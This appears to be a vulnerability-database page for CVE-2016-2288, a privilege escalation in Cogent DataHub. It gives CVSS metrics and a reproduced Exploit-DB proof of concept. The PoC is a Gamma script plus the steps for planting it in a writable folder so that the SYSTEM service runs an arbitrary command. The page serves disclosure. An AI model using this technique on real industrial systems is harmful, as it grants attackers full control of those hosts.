CVE-2016-2288 : Detail

CVE-2016-2288

7.8
/
High
A01-Broken Access Control
0.05%V3
Local
2016-03-29
13h00 +00:00
2017-09-07
07h57 +00:00
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CVE Descriptions

Cogent DataHub before 7.3.10 allows local users to gain privileges by leveraging the user or guest role to modify a file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 39630

Publication date : 2016-03-27 22h00 +00:00
Author : mr_me
EDB Verified : Yes

/* # Exploit Title: Cogent Datahub <= 7.3.9 Gamma Script Elevation of Privilege Vulnerability # Google Dork: lol # Date: 28/3/2016 # Exploit Author: mr_me # Vendor Homepage: http://www.cogentdatahub.com/ # Software Link: http://www.cogentdatahub.com/Contact_Form.html # Version: <= 7.3.9 # Tested on: Windows 7 x86 # CVE : CVE‑2016-2288 sha1sum: c1806faf0225d0c7f96848cb9799b15f8b249792 CogentDataHub-7.3.9-150902-Windows.exe Advsiory: https://ics-cert.us-cert.gov/advisories/ICSA-16-084-01 Timeline: ========= - 02/12/2015 : vuln found, case opened to the zdi - 09/02/2016 : case rejected (not interested in this vuln due to vector) - 26/02/2016 : reported to ICS-CERT - 24/03/2016 : advisory released Notes: ====== - to reach SYSTEM, the service needs to be installed via the Service Manager - the service doesnt need to be installed, as long as 'C:\Program Files\Cogent\Cogent DataHub\CogentDataHubV7.exe' has been executed by a privileged user - an attacker does NOT need to restart the machine or the service in order to EP, the service just polls for the Gamma Script Exploitation: ============= As a Guest user (or low privileged user) save this file as 'WebstreamSupport.g' into C:\usr\cogent\require\ and enjoy the free SYSTEM calcs. Most OS's dont allow a write into c:\ as guest, but we are in the SCADA world. Anything is possible. C:\Users\steven>sc qc "Cogent DataHub" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Cogent DataHub TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Cogent\Cogent DataHub\CogentDataHubV7.exe" -H "C:\Users\steven\AppData\Roaming\Cogent DataHub" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Cogent DataHub DEPENDENCIES : RPCSS SERVICE_START_NAME : LocalSystem C:\Users\steven> */ require ("Application"); require ("AsyncRun"); // thanks to our friends @ Cogent class WebstreamSupport Application { } method WebstreamSupport.constructor () { RunCommandAsync(nil, nil, "cmd.exe /c calc", "c:\\"); } Webstream = ApplicationSingleton (WebstreamSupport);

Products Mentioned

Configuraton 0

Cogentdatahub>>Cogent_datahub >> Version To (including) 7.3.9

References

https://www.exploit-db.com/exploits/39630/
Tags : exploit, x_refsource_EXPLOIT-DB